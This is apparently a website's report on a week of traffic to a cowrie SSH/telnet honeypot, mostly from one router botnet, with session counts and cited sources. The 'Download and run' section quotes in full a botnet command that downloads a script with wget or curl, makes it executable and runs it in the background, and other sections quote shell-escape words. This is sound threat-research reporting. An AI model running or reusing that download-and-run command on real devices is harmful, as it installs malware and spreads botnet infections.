What is attacking this honeypot

This site runs a honeypot, a machine that exists to be attacked. Almost everything that attacks it is one router botnet, a crowd of infected machines taking orders from the same people.

The numbers cover 9 to 15 October 2026 (UTC) on this one server. A session is one connection, from hello to hangup. An IP address is the number a machine is reached at on the internet.

That week, 124 addresses running the botnet's loader, the program that logs in and installs the bot, made 98.4% of the sessions that typed a command, and 99.1% of those in which every password guess failed.

Start with the router botnet: one real visit, replayed, with a note on every line. Then the SSH key backdoor and password guessing.

What you are looking at

The honeypot runs cowrie, which pretends to be a Linux server and logs every login attempt and every command [1]. It listens on two ports, the numbered doors a machine's services answer on: 22 for SSH and 23 for telnet. Both let you log in over the network and type into a shell, the prompt that runs commands. Telnet sends the password as plain text; SSH is the encrypted replacement [2].

What they did once let in

Every session gets one type, set by what it typed or did instead. A type says what a session did, not who sent it.

Download and run

The short version of a break-in: fetch a program, make it runnable, run it. One line, no small talk.

cd /tmp;wget -qO d http://192.0.2.1:8080/wget.sh||curl -so d http://192.0.2.1:8080/wget.sh;chmod +x d;sh d push.mirai </dev/null >/dev/null 2>&1 &

Never run these commands. The address in it has been swapped for a documentation address, and the push.mirai at the end proves nothing about Mirai.

It is rare here: 35 sessions from 7 addresses that week.

System survey

Logs in, asks what the machine is, leaves. Most often:

uname -s -v -n -r -m

That prints the kernel's name, release and version, the hostname and the hardware type. This exact line was 39 of the week's 96 survey sessions.

Shell check

Some routers and cameras put a menu of their own in front of Linux. A shell check types the words that get past it to a real shell (enable, system, shell and sh) [4], then goes quiet.

A few also type /bin/busybox and a word in capitals. BusyBox is one small program that stands in for most standard Linux commands. Mirai was named after two strings, /bin/busybox MIRAI and MIRAI: applet not found [5].

Oddities

Things that fit nowhere else. That week, 38 sessions from 18 addresses, including:

• A bot that scrambles everything it sends, so enable arrives as lghkel. Undo the scramble (every byte XORed with 9) and it is the usual routine, down to /bin/busybox LZRD.
• One bot stuck in a loop: 2,636 commands in a single session.

Left without guessing

Connects, then leaves before offering a username. That week there were 189,430 of these from 2,534 addresses, and 95.8% came from the 124 addresses running the router botnet's loader.

Sources

1. Cowrie project, "Cowrie SSH/Telnet Honeypot", read 16 October 2026. github.com
2. Canonical, Ubuntu Server documentation, "OpenSSH server", updated 2 October 2026. ubuntu.com
3. Cowrie project, source code, "src/cowrie/core/auth.py, the AuthRandom login rule", version 3.0.13, tagged 24 August 2026. github.com
4. Yamauchi, Yoshimoto, Baba and Yoshioka (Okayama University and Yokohama National University), IIAI-AAI 2021, IEEE; author's copy in the Okayama University repository, "Analysis of commands of Telnet logs illegally connected to IoT devices", 2021. ousar.lib.okayama-u.ac.jp
5. Fortinet (Rommel Joven), HITB GSEC, "IoT: Battle of the Bots", 31 August 2018. filestore.fortinet.com